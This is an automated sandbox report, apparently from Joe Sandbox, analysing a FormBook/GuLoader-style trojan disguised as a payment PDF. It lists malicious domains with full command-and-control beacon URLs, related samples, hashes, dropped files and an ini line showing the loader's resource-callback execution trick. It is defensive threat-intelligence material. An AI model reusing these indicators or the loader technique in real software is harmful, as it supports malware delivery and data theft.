Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	PAYNOW_2023_08_002783pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/8@21/17
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 66.1% (good quality ratio 63%) Quality average: 76.1% Quality standard deviation: 26.3%
HCA Information:	Successful, ratio: 88% Number of executed functions: 69 Number of non-executed functions: 257
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): spclient.wg.spotify.com, array602.prod.do.dsp.mp.microsoft.com, ctldl.windowsupdate.com, disc601.prod.do.dsp.mp.microsoft.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: PAYNOW_2023_08_002783pdf.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
157.7.107.119	DHL_AWB_2506307661.exe	Get hash	malicious	FormBook	Browse	www.ishikorori.com/0um0/?dZoO_JvP=3aybXigHnJXQtxWGaOdkltAeDepRGsn+/t4BccAsDpH+tZm5AlZPwNiPHNCCf9ZRasbWwFSMmZlebCS23oCv81wKQDHMbLueJw==&iYu=kM-Fq4MtQ0GlqZH
	72RSDOCK.EXE.exe	Get hash	malicious	FormBook	Browse	www.ishikorori.com/umnr/?BoABgM8N=Uzsw9B+wwrxWI/aZlL0kFl8sYZL2rpvQ7SZPVCqQrQJuYBtpAA4B7U2SRrRAWSP0pg+NdIpVBKtR6OUA90Zm5F/hYXnqD3Wvfw==&mYP1=TIHXu-0C7
	rPRESSUREREDUCINGVALVE_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.ishikorori.com/aw8o/?-wkb=TR7PSkD0vDwdj3CeOnoWOoBm+B4Hw+Qf0rNh3SXQ1w792IIo5+7J+9OXKAft2cnLXHeiUPcsWfovdl8p2mX3E4p2KB72Rl4JMA==&_-=axSpBNXszGs9cCrW
91.189.114.27	Fatura_M23_890_Originalpdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.legalinmedia.online/dgbo/
	fjerbregners_patrol.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.legalinmedia.online/aw8o/?P4=_n5TPHiTKZj&1NM6e=csQIKxSiAps2oY2HkWP4m2UAXHoJbYdtF0OMXDtSslnXYUx4jfx20xSs5MiYBfJn4Wt0LZQ+kGwlvq1TpxG6ruHpMlvoexuWNA==
	rPRESSUREREDUCINGVALVE_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.legalinmedia.online/aw8o/?-wkb=csQIKxSiAps2oY2HkWP4m2UAXHoJbYdtF0OMXDtSslnXYUx4jfx20xSs5MiYBfJn4Wt0LZQ+kGwlvq1TpxG6ruHpMlvoexuWNA==&_-=axSpBNXszGs9cCrW
	RFQ#_R&E-S194.exe	Get hash	malicious	FormBook	Browse	www.legalinmedia.online/v8zb/?RGFv=ae8j7B4Y3f&4Z=AeRC1bAZ1qkyPFW6CuZIiPeiUkD4E3kn8j3io9dIbeBTTmPx1vyNgi05/y7rDzFYuKu5T9g142WmEkOSdL2oaJUOh3Q6oblAtQ==
	HSBC_Advice,pdf.bat.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.legalinmedia.online/czqe/?4KMOv=iZEcve1ptS-B&33=tmPLtdQmG5EgDH62Di1t+8XyVfmJ/0V3Si35WS3tzLP/L+5KIzdiYwApdM8wp8uIO8XblN4ayLEwz7IL0uZvdsfqmDJuUQUxMslCM4B5Fuik
	vbc (2).exe.exe	Get hash	malicious	FormBook	Browse	www.quantvenue.com/ttju/?5jLlmd5P=T/Klsf9VO2CEK0fo7FxVrMV0Nv/zGO+nWJDe7d1ww4+qcaZY3a9+QD2IYCvr2L+FIrIO&YJE=GTqt_Lg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.makeinai.online	rPRESSUREREDUCINGVALVE_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	37.140.192.187
www.m7q374.cfd	SOA_JULY_ENDING_2023_PDF.exe	Get hash	malicious	FormBook, NSISDropper	Browse	107.148.134.218
www.m7q374.cfd	rPRESSUREREDUCINGVALVE_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	107.148.134.218
www.ishikorori.com	DHL_AWB_2506307661.exe	Get hash	malicious	FormBook	Browse	157.7.107.119
	72RSDOCK.EXE.exe	Get hash	malicious	FormBook	Browse	157.7.107.119
	rPRESSUREREDUCINGVALVE_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	157.7.107.119
www.openlend.lat	fjerbregners_patrol.exe	Get hash	malicious	FormBook, GuLoader	Browse	169.150.247.39
	rPRESSUREREDUCINGVALVE_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	169.150.247.38
	HSBC_Advice,pdf.bat.exe	Get hash	malicious	DBatLoader, FormBook	Browse	89.187.165.194

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLAYERLIMITED-AS-APClayerLimitedHK	arm7.elf	Get hash	malicious	Mirai	Browse	164.88.14.244
	WP8ptkXRlY.elf	Get hash	malicious	Mirai	Browse	168.206.124.209
	sora.arm.elf	Get hash	malicious	Mirai	Browse	164.88.224.184
	gJO2mmYXak.elf	Get hash	malicious	Unknown	Browse	155.159.23.97
	skid.arm7.elf	Get hash	malicious	Mirai	Browse	164.88.62.187
	skid.arm7.elf	Get hash	malicious	Mirai	Browse	160.122.115.31
	ApETyYmSFZ.elf	Get hash	malicious	Mirai	Browse	155.159.60.41
	SecuriteInfo.com.FileRepMalware.18604.15295.exe	Get hash	malicious	FormBook	Browse	168.206.14.246
	INVOICE-4500986-GMARK.doc	Get hash	malicious	FormBook	Browse	164.88.86.116
	dhl-shipment4820911.exe	Get hash	malicious	FormBook	Browse	164.88.122.80
	OUR_REF_RFQ_6000066536_-_PR_10023150.exe	Get hash	malicious	FormBook	Browse	168.206.14.246
	MHm4xSPZnZ.elf	Get hash	malicious	Mirai	Browse	164.88.14.241
	qn4y2W13f3.elf	Get hash	malicious	Mirai, Moobot	Browse	160.121.57.117
	u1Nju0TA9t.elf	Get hash	malicious	Mirai	Browse	155.159.187.140
	sora.arm.elf	Get hash	malicious	Mirai	Browse	164.88.14.242
	OUR_REF_RFQ_6000066536_-_PR_10023150.exe	Get hash	malicious	FormBook	Browse	168.206.14.246
	Yaxq64f29Z.elf	Get hash	malicious	Mirai	Browse	168.206.124.214
	rDetallesdelatr.exe	Get hash	malicious	FormBook	Browse	164.88.39.243
	TERMS.doc	Get hash	malicious	Unknown	Browse	164.88.87.130
	SecuriteInfo.com.Win32.PWSX-gen.13199.16919.exe	Get hash	malicious	FormBook	Browse	168.206.14.246

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	4ubc4EyPj4.exe	Get hash	malicious	DarkCloud	Browse	142.250.184.206 142.250.185.65
	t1aKQS1iLx.exe	Get hash	malicious	DarkCloud	Browse	142.250.184.206 142.250.185.65
	2fp8YWepL5.exe	Get hash	malicious	AveMaria, NSISDropper, UACMe	Browse	142.250.184.206 142.250.185.65
	Orden_de_compra_GP-FO-23-0818995_PDF.exe	Get hash	malicious	GuLoader	Browse	142.250.184.206 142.250.185.65
	PDFViewer_44872440.msi	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	RFQINL290823_Commerical_list.exe	Get hash	malicious	GuLoader	Browse	142.250.184.206 142.250.185.65
	download (21).vbs	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	download (20).vbs	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	download (18).vbs	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	iwVUU53nZE.exe	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	4a9OE5cKJo.exe	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	4a9OE5cKJo.exe	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	PDFViewer_44882564 (1).msi	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	3 cahier Ile bleue 2023.xlsx	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	3 cahier Ile bleue 2023.xlsx	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	3 cahier Ile bleue 2023.xlsx	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	Orden_de_compra_-_P06672_PDF.exe	Get hash	malicious	GuLoader	Browse	142.250.184.206 142.250.185.65
	download (17).vbs	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	N94307_251628_2023-08-28_BC8976924pdf.exe	Get hash	malicious	GuLoader	Browse	142.250.184.206 142.250.185.65
	CC1eNsOCDq.exe	Get hash	malicious	Fabookie	Browse	142.250.184.206 142.250.185.65

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\1577Z44ZL

Download File

Process:	C:\Windows\SysWOW64\ipconfig.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	1.1414673161713362
Encrypted:	false
SSDEEP:	192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6:8t4n/9p/39J6hwNKRmqu+7VusE
MD5:	24937DB267D854F3EF5453E2E54EA21B
SHA1:	F519A77A669D9F706D5D537A203B7245368D40CE
SHA-256:	369B8B4465FB5FD7F12258C7DEA941F9CCA9A90C78EE195DF5E02028686869ED
SHA-512:	AED398C6781300E732105E541A6FDD762F04E0EC5A5893762BFDCBDD442348FAF9CB2711EFDC4808D4675A8E48F77BEAB3A0D6BC635B778D47B2DADC9B6086A3
Malicious:	false
Preview:	SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\assda.ini

Download File

Process:	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	93
Entropy (8bit):	3.744480057920449
Encrypted:	false
SSDEEP:	3:r/REjywJkIjKC0VUYFNFq:r/R10kIjKDUYFXq
MD5:	9BB2D6C5B154A05B702A8DC9EF1EA225
SHA1:	B209AD361CEC2D1BB9B21CE6559B091527759500
SHA-256:	58BB76EB918B95187FA47C35C351DE97DFFD5CE8C477C68B08772B94D016477E
SHA-512:	B8F97B7B8A9424393A7AF37D0999AF2D86BDAD515F06FDC9DE9259592501F7BB5E3C69816892AB9EED3F48A16D6E56E61D4F55F1851C43B55338FDD7F4E11B44
Malicious:	false
Preview:	[Cae3]..assa=kernel32::EnumResourceTypesW(i0,ir1,i0) ..

C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.855045165595541
Encrypted:	false
SSDEEP:	192:xPtkiQJr7V9r3HcU17S8g1w5xzWxy6j2V7i77blbTc4v:g7VpNo8gmOyRsVc4
MD5:	FCCFF8CB7A1067E23FD2E2B63971A8E1
SHA1:	30E2A9E137C1223A78A0F7B0BF96A1C361976D91
SHA-256:	6FCEA34C8666B06368379C6C402B5321202C11B00889401C743FB96C516C679E
SHA-512:	F4335E84E6F8D70E462A22F1C93D2998673A7616C868177CAC3E8784A3BE1D7D0BB96F2583FA0ED82F4F2B6B8F5D9B33521C279A42E055D80A94B4F3F1791E0C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ir.-.D.-.D.-.D...J..D.-.E.>.D......D.y0t.).D.N1n.,.D..3@.,.D.Rich-.D.........PE..L.....$_...........!..... ..........!).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...h....@.......(..............@....reloc..\|....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Gnathopodous\Kges.Way

Download File

Process:	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
File Type:	ISO-8859 text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	433081
Entropy (8bit):	4.68129782256506
Encrypted:	false
SSDEEP:	3072:dcOMfwqfACJg520ETltmcIUjGYH9Dt3cKegSchGnA6HQgwO:qOMYqfAyg5e5IITH9DlSgGnrQgwO
MD5:	470B694BFE0D39FC4C2EAE39981CF3C9
SHA1:	04134943C6A80CF405ADA49C3A89FAEBF753CACA
SHA-256:	ED936DC0E2885BE8728FA6E06A153090483DBECD0625C13CFF0ABF0628D40719
SHA-512:	3241F67C4611009C771B8994DCA74FB6D24D7A38F76BBA29A552CDAD90BAFAD0FD4D29753B7A06FB86E71E7741F34C15D502E7D59EAE145B74060E9494DE740C
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Gnathopodous\Notice.txt

Download File

Process:	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
File Type:	Non-ISO extended-ASCII text, with very long lines (754), with CRLF line terminators
Category:	dropped
Size (bytes):	14219
Entropy (8bit):	5.058024804086006
Encrypted:	false
SSDEEP:	384:x5dOAPvQYGU2ipsrswrsl3zBcE+a34XeKY7Dz87VWhK/cNX:x5dOAPlXRel8zBcaoXeP87AE/cB
MD5:	359621A836B33C7E3A5D6E481F465C10
SHA1:	7FADB42AAAE2DC9D0C6CB1CD0C504FD830E6B7D6
SHA-256:	6444903689C1D7962EA1F91146ED655083CB62E57BCD0A794101484212760F06
SHA-512:	EE4A16B7767841E706E4B48F42FEDE66CE013C9562283E94A7403855BBE289B2A05DC03D58A031DF345C4DB49661D635ED3A8B25D27962C12035EA646707E121
Malicious:	false
Preview:	=============================================================================....This Notice.txt file contains certain notices Qualcomm Atheros, Inc. (QCA) is required to provide with certain software components. Notwithstanding anything in the notices in this file, your use of such software components together with the QCA software (QCA software hereinafter referred to as ..Software..) is subject to the terms of your separate license from QCA. Compliance with all copyright laws and software licenses included in this file are the responsibility of the user. Except as may be granted by separate express written agreement, this file provides no license to any patents, trademarks, copyrights, or other intellectual property of QCA or its affiliates. ....Software provided with this notice is NOT A CONTRIBUTION to any open source project. If alternative licensing is available for any of the components with licenses or attributions provided below, a license choice is made for receiving such co

C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Gnathopodous\Planetarium.Eks

Download File

Process:	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	291632
Entropy (8bit):	4.616512714703255
Encrypted:	false
SSDEEP:	3072:28aeouVZAloSACgAEqx+SBMxJ87zooHiTSG6JUTcCM04qxM8yL3hR0gXXWYY15go:nwloSrgAEjZajGSG4ED8rhR1m5gdy
MD5:	40112B56F5F8F8A4348AEAA11655A7B1
SHA1:	F450AC19B8197643437A6A73516F91E3A97936FD
SHA-256:	92070242218D8AAC6050C803E8A6928DE8DA8D1B0F3CD4E0DF2E2190430C726A
SHA-512:	1B0C15D741FF35BA69DD815E3EB7D5D0C41452B03C9AFDCE05B61CD81DC481CCE96FBFADF90B8B0A1DBF9BC7915B5419F78EE1C5E53C420BEB45EC46EFC33A09
Malicious:	false
Preview:	.......2.....................................XX.......%%........................KK....%.......................III....""....`.o...............V.......Y.............................z.........ee........>....s.................O.R.r.......]..........5.....E.ttttt...H...................F...................X.=..cc.......::....................................44.+.F.@@@...................22.......r......................................8..H.,,,.,......i...................zzz....`.2........jj.".................L......@...W......[................e.$$$.................."...NNNNN.>......w.........n.............HHH.......-....h..)...............................................====...AAA....ss....D..............{...............x...N.=........................))...........000..................EE.....JJJJJJJ.^^...ss.........................................aa.%..............................(((.........U.!...........................................D..............~~..............A.......44444.........[....K

C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Gnathopodous\br.txt

Download File

Process:	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5481
Entropy (8bit):	5.038469038724424
Encrypted:	false
SSDEEP:	96:iObQ+ICvu43NfsbvpRJ7mP1Yk1ZjZM4bTkukeeaC7AQnRB12tjDZqqHrbqfx3BdD:i7+IMrfIpP6dYc1W43Ae1iAQnRG1ZqqS
MD5:	C2EB67D788756BE5ECAA0A8CFB3D1E0B
SHA1:	0636E7FBA4EC0FD12F93347451B5690C7B0BF788
SHA-256:	0F6BF6749C42C844980DB32EE56CADC987CE245EF650BC7D626D56468A7CBE6A
SHA-512:	0F98317078723D35553F8252FF9E37A997C90276FBB18359247AA257FC7630B7F6A0C6F6B02AC0A06AFD33CCA56C77A01494E04FC1A4CE43DED0D40F9F18DD42
Malicious:	false
Preview:	.;!@Lang2@!UTF-8!..; 3.12 : KAD-Korvigello. An Drouizig (drouizig.org)...;..;..;..;..;..;..;..;..;..;..0..7-Zip..Breton..Brezhoneg..401..Mat eo..Nulla.........&Ya..&Ket..&Serri...Skoazell....&Kenderc'hel..440..Ya be&pred..Ket &bepred..Paouez..Adloc'ha...&Drekleur..&Rakleur..&Ehan..Ehanet..Ha fellout a ra deoc'h nulla. ?..500..&Restr..&Aoza...&Gwelout..Di&babo...&Ostilho...&Skoazell..540..&Digeri...Digeri. a-zia&barzh..Digeri. a-zia&vaez..&Gwelout..&Aoza...Adenv&el..&Kopia. diwar.....&Dilec'hia. diwar.....D&ilemel..&Troc'ha. restr.....&Kendeuzi. restro......P&erzhio...Evezhia&denn......Sevel un teul..Sevel ur restr..&Kuitaat..600..Diuz pep &tra..Diziuz pe tra..Lakaat an &diuzad war an tu gin..Diuz.....Diziuz.....Diuz diouzh ar rizh..Diziuz diouzh ar rizh..700..Arlunio. &bras..Arlunio. &bihan..&Roll..&Munudo...730..Dirummet....&2 brenestr..&Barrenno. ostilho...Digeri. an teul gwrizienn..Teul kerent..Roll istor an teul.....Fresk&aat..750..Barrenn ziell..Barrenn

C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143\sport_basketball.PNG

Download File

Process:	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.680869225498307
Encrypted:	false
SSDEEP:	24:nTxxAcf6hkZr24oxoP7d1uU9HMpNj5nGuV75kMVvXz:nTDA26hkboA7dgL9n3V75LVvj
MD5:	D8320D675E8D192398DCDAEC2F480C2F
SHA1:	233DDD2F37EA56F0972C4FE7D29F0F870FB9E807
SHA-256:	76271735221306BCE43118DFFAA4DAAAE21239093A157688CF71BAE945E4A4D2
SHA-512:	18FD3A77CBCFCC2A4BC7DA7B0F88C484243E3ABB2EA3B54F7805BB229D1AC7E2CA0D2B6A2C3BE6ABC8B5E8B53B9C866E596A1616AE3FD02D23000E1BA6FD3A19
Malicious:	false
Preview:	.PNG........IHDR...............h6....sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....IDAT8O...O....(..XZ..G.r.b(....+A.l...=.\|..:.-..CnK...u..R......j9.w....W............A....:.........._....L..z:].>s......4...y....W..]..%D..=...X.q[.eW...."..?pi....PC.J...9..~..Co7.&[...S-.3.6..E].K.R.[.95.Q!E.:...?.G.f2.MQ.......<8.4`dOv..k..hC.;.w.{.D.&.$-.T.y...:..h...}.5..Jh:..K....A)..aH.4"V.U......._H....,.....j....z.rI.9.........z......`.Y.V.z..Y.D/.m.f.'!..tkpU.....3.f>..]y.>.Z.i..<.L.K..@Sb.I.)>.Ji*.=..E[.c".Z.[.\|.q...p..A....@c.{..k.L..W..3a.3OD.`.F_..P.2.....\..!.;wfk9.G@...0.O..r..6...)....O..6..GY...U.%...e..8..V9.%.e"Tm@..EOKh.j...g.......L.(..-p....].\#j..9.sQ.....xz..Y....,C..Wt.....5...R.?..k...4..,..0T..Nt.=.G.hW.5l....V.S....y%.@.:....(.....d.R..m.;..hI..%x.H\|...B.(....L.z..F...pd.Z.,...1....-_3. [........L.l&J....IEND.B`.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.365971009142016
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PAYNOW_2023_08_002783pdf.exe
File size:	485'832 bytes
MD5:	96bedaad0d23cc93d7133f9edbd697fe
SHA1:	aa06241be0f340a6688c15b3502e8067f7c1c6c5
SHA256:	9f1b36eff35c63045e9002aaf8b5d388b569607d15e7e3abe0bd9d28197c4155
SHA512:	775f45e40490a5bd85515bd9c18e0632b12cc701bc6c5de3ae47e7da2cb78bb5afeeead3593f6f98fd755d63108b6ba0554c25cc54506e351f32f0cf3d02d85a
SSDEEP:	12288:Zenhe2ew0SckknaREQ+R1XSow7+/AGhT1pF:OheC0SenauZ7oG1p
TLSH:	0CA48C9239D9756FDD2F4A74031FEAB21AB95CE07382096E5F80361D4C36A4A80EDDC7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1)..PG..PG..PG._...PG..PF.IPG._...PG..sw..PG..VA..PG.Rich.PG.........PE..L.....$_.................b...........3............@

File Icon


Icon Hash:	39199c4e42c9d93c

Static PE Info

General

Entrypoint:	0x403312
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F24D6A7 [Sat Aug 1 02:42:47 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	ced282d9b261d1462772017fe2f6972b

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=Pyromorphism@Wanely.af, OU="Momma Chinband Transactinide ", O=Gladkaite, L=Bertrancourt, S=Hauts-de-France, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	26/11/2022 02:56:42 25/11/2025 02:56:42
Subject Chain	E=Pyromorphism@Wanely.af, OU="Momma Chinband Transactinide ", O=Gladkaite, L=Bertrancourt, S=Hauts-de-France, C=FR
Version:	3
Thumbprint MD5:	BB93377BBF743F10FC44554AF0FFEAC1
Thumbprint SHA-1:	766192E646C2A2825F9A087E41542DAC9A8EE0A6
Thumbprint SHA-256:	E6526E6EAE3130E70CF814EBAAFD3CF54B675A5D1959E7F10369DC5B9AC679A5
Serial:	3E75B6F4375A986C63A3D8FB0FB179CCBF234B22

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 0040A198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004080B8h]
call dword ptr [004080BCh]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042472Ch], eax
je 00007F22F461C883h
push ebx
call 00007F22F461F9E6h
cmp eax, ebx
je 00007F22F461C879h
push 00000C00h
call eax
mov esi, 004082A0h
push esi
call 00007F22F461F962h
push esi
call dword ptr [004080CCh]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F22F461C85Dh
push 0000000Bh
call 00007F22F461F9BAh
push 00000009h
call 00007F22F461F9B3h
push 00000007h
mov dword ptr [00424724h], eax
call 00007F22F461F9A7h
cmp eax, ebx
je 00007F22F461C881h
push 0000001Eh
call eax
test eax, eax
je 00007F22F461C879h
or byte ptr [0042472Fh], 00000040h
push ebp
call dword ptr [00408038h]
push ebx
call dword ptr [00408288h]
mov dword ptr [004247F8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041FCE8h
call dword ptr [0040816Ch]
push 0040A188h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8438	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x37000	0x2b470	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x75178	0x1850
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x29c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x60d5	0x6200	False	0.6630660076530612	data	6.4176717642026535	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1274	0x1400	False	0.4337890625	data	5.061067348371254	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x1a838	0x600	False	0.4361979166666667	data	3.9951628803851107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x25000	0x12000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x37000	0x2b470	0x2b600	False	0.3339168317723343	data	5.627515980493468	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x37418	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 0	English	United States	0.1602112676056338
RT_ICON	0x408c0	0x74cb	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9987290544834275
RT_ICON	0x47d90	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 0	English	United States	0.1848872180451128
RT_ICON	0x4e578	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 0	English	United States	0.1996765249537893
RT_ICON	0x53a00	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	English	United States	0.2081955597543694
RT_ICON	0x57c28	0x3a48	Device independent bitmap graphic, 60 x 120 x 32, image size 0	English	United States	0.21648793565683647
RT_ICON	0x5b670	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.2550829875518672
RT_ICON	0x5dc18	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 0	English	United States	0.29659763313609466
RT_ICON	0x5f680	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.3405253283302064
RT_ICON	0x60728	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	English	United States	0.4385245901639344
RT_ICON	0x610b0	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 0	English	United States	0.5337209302325582
RT_ICON	0x61768	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.625886524822695
RT_DIALOG	0x61bd0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x61cd0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x61df0	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x61eb8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x61f18	0xae	data	English	United States	0.7298850574712644
RT_VERSION	0x61fc8	0x164	data	English	United States	0.5702247191011236
RT_MANIFEST	0x62130	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
